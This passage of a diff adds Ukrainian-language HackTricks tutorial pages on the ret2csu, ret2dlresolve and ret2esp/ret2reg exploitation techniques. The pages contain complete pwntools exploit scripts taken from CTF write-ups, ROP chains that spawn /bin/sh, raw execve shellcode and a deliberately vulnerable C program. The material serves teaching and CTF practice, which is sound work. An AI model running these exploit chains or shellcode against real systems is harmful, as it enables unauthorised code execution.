* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
##
|
||||
|
||||
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Основна інформація
|
||||
|
||||
**ret2csu** - це техніка взлому, яку використовують, коли ви намагаєтеся отримати контроль над програмою, але не можете знайти **гаджети**, які зазвичай використовуєте для маніпулювання поведінкою програми. 
|
||||
|
||||
Коли програма використовує певні бібліотеки (наприклад, libc), вона має деякі вбудовані функції для управління тим, як різні частини програми спілкуються між собою. Серед цих функцій є деякі приховані скарби, які можуть діяти як наші відсутні гаджети, особливо один під назвою `__libc_csu_init`.
|
||||
|
||||
### Магічні гаджети в \_\_libc\_csu\_init
|
||||
|
||||
У **`__libc_csu_init`** є дві послідовності інструкцій (гаджети), які варто виділити:
|
||||
|
||||
1. Перша послідовність дозволяє нам встановлювати значення в кількох регістрах (rbx, rbp, r12, r13, r14, r15). Це схоже на слоти, де ми можемо зберігати числа або адреси, які ми хочемо використовувати пізніше.
|
||||
```armasm
|
||||
pop rbx;
|
||||
pop rbp;
|
||||
pop r12;
|
||||
pop r13;
|
||||
pop r14;
|
||||
pop r15;
|
||||
ret;
|
||||
```
|
||||
Цей гаджет дозволяє нам контролювати ці регістри, витягаючи значення зі стеку в них.
|
||||
|
||||
2. Друга послідовність використовує встановлені нами значення для виконання кількох дій:
|
||||
* **Переміщення конкретних значень в інші регістри**, готуючи їх для використання як параметрів у функціях.
|
||||
* **Виклик до місця**, визначеного додаванням значень у r15 та rbx, а потім множенням rbx на 8.
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
mov edi, r13d;
|
||||
call qword [r12 + rbx*8];
|
||||
```
|
||||
2. Можливо, ви не знаєте жодної адреси для запису туди і вам **потрібна інструкція `ret`**. Зверніть увагу, що другий гаджет також **закінчується на `ret`**, але вам потрібно виконати деякі **умови**, щоб досягти його:
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
mov edi, r13d;
|
||||
call qword [r12 + rbx*8];
|
||||
add rbx, 0x1;
|
||||
cmp rbp, rbx
|
||||
jnz <func>
|
||||
...
|
||||
ret
|
||||
```
|
||||
Умови будуть такі:
|
||||
|
||||
* `[r12 + rbx*8]` повинен вказувати на адресу, де зберігається викликана функція (якщо немає ідеї і немає pie, можна просто використовувати функцію `_init`):
|
||||
* Якщо \_init знаходиться за адресою `0x400560`, скористайтеся GEF для пошуку вказівника в пам'яті на цю функцію та зробіть так, щоб `[r12 + rbx*8]` був адресою з вказівником на \_init:
|
||||
```bash
|
||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
gef➤ search-pattern 0x400560
|
||||
[+] Searching '\x60\x05\x40' in memory
|
||||
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
|
||||
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
|
||||
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
|
||||
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
|
||||
```
|
||||
* `rbp` та `rbx` повинні мати однакове значення, щоб уникнути стрибка
|
||||
* Є деякі пропущені pops, які потрібно врахувати
|
||||
|
||||
## RDI та RSI
|
||||
|
||||
Інший спосіб керування **`rdi`** та **`rsi`** з гаджетом ret2csu полягає в доступі до конкретних зсувів:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Перевірте цю сторінку для отримання додаткової інформації:
|
||||
|
||||
{% content-ref url="brop-blind-return-oriented-programming.md" %}
|
||||
[brop-blind-return-oriented-programming.md](brop-blind-return-oriented-programming.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Приклад
|
||||
|
||||
### Використання виклику
|
||||
|
||||
Уявіть, що ви хочете зробити системний виклик або викликати функцію, наприклад `write()`, але потрібні конкретні значення в реєстрах `rdx` та `rsi` як параметри. Зазвичай ви шукали б гаджети, які прямо встановлюють ці регістри, але ви не можете знайти жодного.
|
||||
|
||||
Ось де використовується **ret2csu**:
|
||||
|
||||
1. **Налаштування регістрів**: Використовуйте перший магічний гаджет для викидання значень зі стеку в rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) та r15.
|
||||
2. **Використання другого гаджету**: З цими встановленими регістрами ви використовуєте другий гаджет. Це дозволяє перемістити вибрані значення в `rdx` та `rsi` (відповідно з r14 та r13), готуючи параметри для виклику функції. Більше того, керуючи `r15` та `rbx`, ви можете зробити програму викликати функцію, розташовану за адресою, яку ви обчислите та помістите в `[r15 + rbx*8]`.
|
||||
|
||||
У вас є [**приклад використання цієї техніки та пояснення тут**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), і ось остаточний експлойт, який використовувався:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln')
|
||||
p = process()
|
||||
|
||||
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
|
||||
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
|
||||
RW_LOC = 0x00404028
|
||||
|
||||
rop.raw('A' * 40)
|
||||
rop.gets(RW_LOC)
|
||||
rop.raw(POP_CHAIN)
|
||||
rop.raw(0) # r12
|
||||
rop.raw(0) # r13
|
||||
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
|
||||
rop.raw(RW_LOC) # r15 - holds location of called function!
|
||||
rop.raw(REG_CALL) # all the movs, plus the call
|
||||
|
||||
p.sendlineafter('me\n', rop.chain())
|
||||
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
||||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Зверніть увагу, що попередній експлойт не призначений для виконання **`RCE`**, він призначений лише для виклику функції під назвою **`win`** (отримання адреси `win` зі stdin, виклик функції gets у ланцюжку ROP та збереження її в r15) з третім аргументом зі значенням `0xdeadbeefcafed00d`.
|
||||
{% endhint %}
|
||||
|
||||
### Обхід виклику та досягнення ret
|
||||
|
||||
Наступний експлойт був витягнутий [**з цієї сторінки**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html), де використовується **ret2csu**, але замість використання виклику, він **обходить порівняння та досягає `ret`** після виклику:
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
||||
|
||||
from pwn import *
|
||||
|
||||
# Establish the target process
|
||||
target = process('./ret2csu')
|
||||
#gdb.attach(target, gdbscript = 'b * 0x4007b0')
|
||||
|
||||
# Our two __libc_csu_init rop gadgets
|
||||
csuGadget0 = p64(0x40089a)
|
||||
csuGadget1 = p64(0x400880)
|
||||
|
||||
# Address of ret2win and _init pointer
|
||||
ret2win = p64(0x4007b1)
|
||||
initPtr = p64(0x600e38)
|
||||
|
||||
# Padding from start of input to saved return address
|
||||
payload = "0"*0x28
|
||||
|
||||
# Our first gadget, and the values to be popped from the stack
|
||||
|
||||
# Also a value of 0xf means it is a filler value
|
||||
payload += csuGadget0
|
||||
payload += p64(0x0) # RBX
|
||||
payload += p64(0x1) # RBP
|
||||
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
|
||||
payload += p64(0xf) # R13
|
||||
payload += p64(0xf) # R14
|
||||
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX
|
||||
|
||||
# Our second gadget, and the corresponding stack values
|
||||
payload += csuGadget1
|
||||
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
|
||||
payload += p64(0xf) # RBX
|
||||
payload += p64(0xf) # RBP
|
||||
payload += p64(0xf) # R12
|
||||
payload += p64(0xf) # R13
|
||||
payload += p64(0xf) # R14
|
||||
payload += p64(0xf) # R15
|
||||
|
||||
# Finally the address of ret2win
|
||||
payload += ret2win
|
||||
|
||||
# Send the payload
|
||||
target.sendline(payload)
|
||||
target.interactive()
|
||||
```
|
||||
### Чому б просто не використовувати libc безпосередньо?
|
||||
|
||||
Зазвичай ці випадки також вразливі до **ret2plt** + **ret2lib**, але іноді потрібно керувати більшою кількістю параметрів, ніж можна легко контролювати за допомогою гаджетів, які ви знаходите безпосередньо в libc. Наприклад, функція `write()` потребує три параметри, і **знаходження гаджетів для встановлення всіх цих параметрів безпосередньо може бути неможливим**.
|
|
@ -0,0 +1,203 @@
|
|||
# Ret2dlresolve
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Як пояснено на сторінці про [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) та [**Relro**](../common-binary-protections-and-bypasses/relro.md), бінарні файли без Full Relro будуть розрішувати символи (такі як адреси до зовнішніх бібліотек) при першому використанні. Це розрішення відбувається за допомогою виклику функції **`_dl_runtime_resolve`**.
|
||||
|
||||
Функція **`_dl_runtime_resolve`** бере зі стеку посилання на деякі структури, які їй потрібні для **розрішення** вказаного символу.
|
||||
|
||||
Отже, можливо **підробити всі ці структури**, щоб динамічно зв'язаний код розрішив запитаний символ (наприклад, функцію **`system`**) і викликав його з налаштованим параметром (наприклад, **`system('/bin/sh')`**).
|
||||
|
||||
Зазвичай всі ці структури підробляються шляхом створення **початкового ROP-ланцюжка, який викликає `read`** на записувану пам'ять, після чого структури та рядок **`'/bin/sh'** передаються, щоб вони були збережені за допомогою read у відомому місці, після чого ROP-ланцюжок продовжується, викликаючи **`_dl_runtime_resolve`**, щоб він **розрішив адресу `system`** у підроблених структурах та **викликав цю адресу** з адресою `$'/bin/sh'`.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ця техніка корисна, особливо якщо відсутні гаджети системного виклику (для використання технік, таких як [**ret2syscall**](rop-syscall-execv/) або [SROP](srop-sigreturn-oriented-programming/)) і немає способів витоку адрес libc.
|
||||
{% endhint %}
|
||||
|
||||
Перегляньте це відео для чудового пояснення цієї техніки у другій половині відео:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
|
||||
Або перевірте ці сторінки для крок за кроком пояснення:
|
||||
|
||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
|
||||
|
||||
## Підсумок атаки
|
||||
|
||||
1. Запишіть підроблені структури в якомусь місці
|
||||
2. Встановіть перший аргумент системи (`$rdi = &'/bin/sh'`)
|
||||
3. Встановіть на стек адреси структур для виклику **`_dl_runtime_resolve`**
|
||||
4. Викличте **`_dl_runtime_resolve`**
|
||||
5. **`system`** буде розрішено та викликано з `'/bin/sh'` як аргумент
|
||||
|
||||
З [**документації pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) виглядає так атака **`ret2dlresolve`**:
|
||||
```python
|
||||
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
||||
>>> rop = ROP(elf)
|
||||
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
|
||||
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
|
||||
>>> rop.ret2dlresolve(dlresolve)
|
||||
>>> raw_rop = rop.chain()
|
||||
>>> print(rop.dump())
|
||||
0x0000: 0x400593 pop rdi; ret
|
||||
0x0008: 0x0 [arg0] rdi = 0
|
||||
0x0010: 0x400591 pop rsi; pop r15; ret
|
||||
0x0018: 0x601e00 [arg1] rsi = 6299136
|
||||
0x0020: b'iaaajaaa' <pad r15>
|
||||
0x0028: 0x4003f0 read
|
||||
0x0030: 0x400593 pop rdi; ret
|
||||
0x0038: 0x601e48 [arg0] rdi = 6299208
|
||||
0x0040: 0x4003e0 [plt_init] system
|
||||
0x0048: 0x15670 [dlresolve index]
|
||||
```
|
||||
## Приклад
|
||||
|
||||
### Чистий Pwntools
|
||||
|
||||
Ви можете знайти [**приклад цієї техніки тут**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **з дуже хорошим поясненням кінцевого ROP-ланцюжка**, але ось використаний кінцевий експлойт:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln', checksec=False)
|
||||
p = elf.process()
|
||||
rop = ROP(elf)
|
||||
|
||||
# create the dlresolve object
|
||||
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
|
||||
|
||||
rop.raw('A' * 76)
|
||||
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
|
||||
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
|
||||
|
||||
log.info(rop.dump())
|
||||
|
||||
p.sendline(rop.chain())
|
||||
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
### Сировий
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
|
||||
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
|
||||
|
||||
from pwn import *
|
||||
|
||||
target = process('./babystack')
|
||||
#gdb.attach(target)
|
||||
|
||||
elf = ELF('babystack')
|
||||
|
||||
# Establish starts of various sections
|
||||
bss = 0x804a020
|
||||
|
||||
dynstr = 0x804822c
|
||||
|
||||
dynsym = 0x80481cc
|
||||
|
||||
relplt = 0x80482b0
|
||||
|
||||
# Establish two functions
|
||||
|
||||
scanInput = p32(0x804843b)
|
||||
resolve = p32(0x80482f0) #dlresolve address
|
||||
|
||||
# Establish size of second payload
|
||||
|
||||
payload1_size = 43
|
||||
|
||||
# Our first scan
|
||||
# This will call read to scan in our fake entries into the plt
|
||||
# Then return back to scanInput to re-exploit the bug
|
||||
|
||||
payload0 = ""
|
||||
|
||||
payload0 += "0"*44 # Filler from start of input to return address
|
||||
payload0 += p32(elf.symbols['read']) # Return read
|
||||
payload0 += scanInput # After the read call, return to scan input
|
||||
payload0 += p32(0) # Read via stdin
|
||||
payload0 += p32(bss) # Scan into the start of the bss
|
||||
payload0 += p32(payload1_size) # How much data to scan in
|
||||
|
||||
target.send(payload0)
|
||||
|
||||
# Our second scan
|
||||
# This will be scanned into the start of the bss
|
||||
# It will contain the fake entries for our ret_2_dl_resolve attack
|
||||
|
||||
# Calculate the r_info value
|
||||
# It will provide an index to our dynsym entry
|
||||
dynsym_offset = ((bss + 0xc) - dynsym) / 0x10
|
||||
r_info = (dynsym_offset << 8) | 0x7
|
||||
|
||||
# Calculate the offset from the start of dynstr section to our dynstr entry
|
||||
dynstr_index = (bss + 28) - dynstr
|
||||
|
||||
paylaod1 = ""
|
||||
|
||||
# Our .rel.plt entry
|
||||
paylaod1 += p32(elf.got['alarm'])
|
||||
paylaod1 += p32(r_info)
|
||||
|
||||
# Empty
|
||||
paylaod1 += p32(0x0)
|
||||
|
||||
# Our dynsm entry
|
||||
paylaod1 += p32(dynstr_index)
|
||||
paylaod1 += p32(0xde)*3
|
||||
|
||||
# Our dynstr entry
|
||||
paylaod1 += "system\x00"
|
||||
|
||||
# Store "/bin/sh" here so we can have a pointer ot it
|
||||
paylaod1 += "/bin/sh\x00"
|
||||
|
||||
target.send(paylaod1)
|
||||
|
||||
# Our third scan, which will execute the ret_2_dl_resolve
|
||||
# This will just call 0x80482f0, which is responsible for calling the functions for resolving
|
||||
# We will pass it the `.rel.plt` index for our fake entry
|
||||
# As well as the arguments for system
|
||||
|
||||
# Calculate address of "/bin/sh"
|
||||
binsh_bss_address = bss + 35
|
||||
|
||||
# Calculate the .rel.plt offset
|
||||
ret_plt_offset = bss - relplt
|
||||
|
||||
|
||||
paylaod2 = ""
|
||||
|
||||
paylaod2 += "0"*44
|
||||
paylaod2 += resolve # 0x80482f0
|
||||
paylaod2 += p32(ret_plt_offset) # .rel.plt offset
|
||||
paylaod2 += p32(0xdeadbeef) # The next return address after 0x80482f0, really doesn't matter for us
|
||||
paylaod2 += p32(binsh_bss_address) # Our argument, address of "/bin/sh"
|
||||
|
||||
target.send(paylaod2)
|
||||
|
||||
# Enjoy the shell!
|
||||
target.interactive()
|
||||
```
|
||||
## Інші Приклади та Посилання
|
||||
|
||||
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
|
||||
* 32-бітна, без relro, без canary, nx, без pie, базове переповнення буфера та повернення. Для експлуатації використовується bof для виклику `read` ще раз з розділом `.bss` та більшим розміром, щоб зберегти там фальшиві таблиці `dlresolve` для завантаження `system`, повернутися до головного та знову використати початкове переповнення буфера для виклику dlresolve та `system('/bin/sh')`.
|
|
@ -0,0 +1,206 @@
|
|||
# Ret2esp / Ret2reg
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Ret2esp**
|
||||
|
||||
**Оскільки ESP (вказівник стеку) завжди вказує на верх стеку**, ця техніка полягає в заміні EIP (вказівника інструкції) адресою інструкції **`jmp esp`** або **`call esp`**. Зробивши це, shellcode розміщується безпосередньо після переписаного EIP. Коли виконується інструкція `ret`, ESP вказує на наступну адресу, точно там, де зберігається shellcode.
|
||||
|
||||
Якщо **в Windows або Linux не ввімкнено випадкове розташування адрес (ASLR)**, можна використовувати інструкції `jmp esp` або `call esp`, знайдені в спільних бібліотеках. Однак з [**ASLR**](../common-binary-protections-and-bypasses/aslr/) активованим, можливо доведеться шукати ці інструкції всередині вразливої програми саме (і можливо, вам доведеться перемогти [**PIE**](../common-binary-protections-and-bypasses/pie/)).
|
||||
|
||||
Більше того, можливість розмістити shellcode **після корупції EIP**, а не посередині стеку, забезпечує, що будь-які виконані інструкції `push` або `pop` під час роботи функції не втручаються у shellcode. Це втручання може статися, якщо shellcode було розміщено посередині стеку функції.
|
||||
|
||||
### Недостатньо місця
|
||||
|
||||
Якщо вам не вистачає місця для запису після переписування RIP (можливо, лише кілька байтів), напишіть початковий **`jmp`** shellcode, наприклад:
|
||||
```armasm
|
||||
sub rsp, 0x30
|
||||
jmp rsp
|
||||
```
|
||||
І запишіть shellcode рано в стек.
|
||||
|
||||
### Приклад
|
||||
|
||||
Ви можете знайти приклад цієї техніки за посиланням [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) з кінцевим експлойтом наступного вигляду:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln')
|
||||
p = process()
|
||||
|
||||
jmp_rsp = next(elf.search(asm('jmp rsp')))
|
||||
|
||||
payload = b'A' * 120
|
||||
payload += p64(jmp_rsp)
|
||||
payload += asm('''
|
||||
sub rsp, 10;
|
||||
jmp rsp;
|
||||
''')
|
||||
|
||||
pause()
|
||||
p.sendlineafter('RSP!\n', payload)
|
||||
p.interactive()
|
||||
```
|
||||
Можна побачити ще один приклад цієї техніки за посиланням [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html). Тут відбувається переповнення буфера без увімкненого NX, використовується гаджет для **зменшення адреси `$esp`** і потім `jmp esp;` для переходу до shellcode:
|
||||
```python
|
||||
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
|
||||
from pwn import *
|
||||
|
||||
# Establish the target process
|
||||
target = process('./b0verflow')
|
||||
#gdb.attach(target, gdbscript = 'b *0x080485a0')
|
||||
|
||||
# The shellcode we will use
|
||||
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
|
||||
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
|
||||
|
||||
# Establish our rop gadgets
|
||||
|
||||
# 0x08048504 : jmp esp
|
||||
jmpEsp = p32(0x08048504)
|
||||
|
||||
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
|
||||
pivot = p32(0x80484fd)
|
||||
|
||||
# Make the payload
|
||||
|
||||
payload = ""
|
||||
payload += jmpEsp # Our jmp esp gadget
|
||||
payload += shellcode # Our shellcode
|
||||
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
|
||||
payload += pivot # Our pivot gadget
|
||||
|
||||
# Send our payload
|
||||
target.sendline(payload)
|
||||
|
||||
# Drop to an interactive shell
|
||||
target.interactive()
|
||||
```
|
||||
## Ret2reg
|
||||
|
||||
Так само, якщо ми знаємо, що функція повертає адресу, де зберігається код оболонки, ми можемо скористатися інструкціями **`call eax`** або **`jmp eax`** (відомими як техніка **ret2eax**), що пропонує ще один метод виконання нашого коду оболонки. Так само, як **eax**, можна використовувати **будь-який інший регістр**, що містить цікаву адресу (**ret2reg**).
|
||||
|
||||
### Приклад
|
||||
|
||||
Ви можете знайти деякі приклади тут: 
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
|
||||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
|
||||
* **`strcpy`** буде зберігати в **`eax`** адресу буфера, де зберігався код оболонки, і **`eax`** не перезаписується, тому можливе використання `ret2eax`.
|
||||
|
||||
## ARM64
|
||||
|
||||
### Ret2sp
|
||||
|
||||
У ARM64 **немає** інструкцій, що дозволяють **перейти до реєстру SP**. Можливо, знайти гаджет, який **переміщує sp до реєстру, а потім переходить до цього реєстру**, але в бібліотеці libc мого kali я не зміг знайти жодного гаджета подібного до цього:
|
||||
```bash
|
||||
for i in `seq 1 30`; do
|
||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
|
||||
done
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Єдині, які я виявив, змінили б значення реєстру, куди було скопійовано sp перед стрибком до нього (тому воно стало б некорисним):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Ret2reg
|
||||
|
||||
Якщо реєстр має цікаву адресу, можна стрибнути до неї, просто знаходячи відповідну інструкцію. Ви можете використовувати щось на зразок:
|
||||
```bash
|
||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
У ARM64 це **`x0`**, хто зберігає значення повернення функції, тому можливо, що x0 зберігає адресу буфера, котрий контролюється користувачем з шелл-кодом для виконання.
|
||||
|
||||
Приклад коду:
|
||||
```c
|
||||
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void do_stuff(int do_arg){
|
||||
if (do_arg == 1)
|
||||
__asm__("br x0");
|
||||
return;
|
||||
}
|
||||
|
||||
char* vulnerable_function() {
|
||||
char buffer[64];
|
||||
fgets(buffer, sizeof(buffer)*3, stdin);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char* b = vulnerable_function();
|
||||
do_stuff(2)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Перевіривши розібрання функції, можна побачити, що **адреса буфера** (вразлива на переповнення буфера та **керована користувачем**) зберігається в `x0` перед поверненням з переповнення буфера:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Також можна знайти гаджет **`br x0`** у функції **`do_stuff`**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Ми використаємо цей гаджет для переходу до нього, оскільки бінарний файл компілюється **БЕЗ PIE.** Використовуючи шаблон, можна побачити, що **зсув переповнення буфера становить 80**, тому експлойт буде:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process('./ret2x0')
|
||||
elf = context.binary = ELF('./ret2x0')
|
||||
|
||||
stack_offset = 72
|
||||
shellcode = asm(shellcraft.sh())
|
||||
br_x0 = p64(0x4006a0) # Addr of: br x0;
|
||||
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
|
||||
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Якщо замість `fgets` було використано щось на зразок **`read`**, було б можливо обійти PIE також, просто перезаписавши останні 2 байти адреси повернення, щоб повернутися до інструкції `br x0;` без необхідності знати повну адресу.\
|
||||
З `fgets` це не працює, оскільки воно **додає нульовий (0x00) байт в кінці**.
|
||||
{% endhint %}
|
||||
|
||||
## Захисти
|
||||
|
||||
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Якщо стек не є виконавчим, це не допоможе, оскільки нам потрібно розмістити шеллкод на стеці та зробити стрибок для його виконання.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Ці заходи можуть ускладнити пошук інструкції для стрибка на esp або будь-який інший регістр.
|
||||
|
||||
## Посилання
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
|
||||
|
||||
{% hint style="success" %}
|
||||
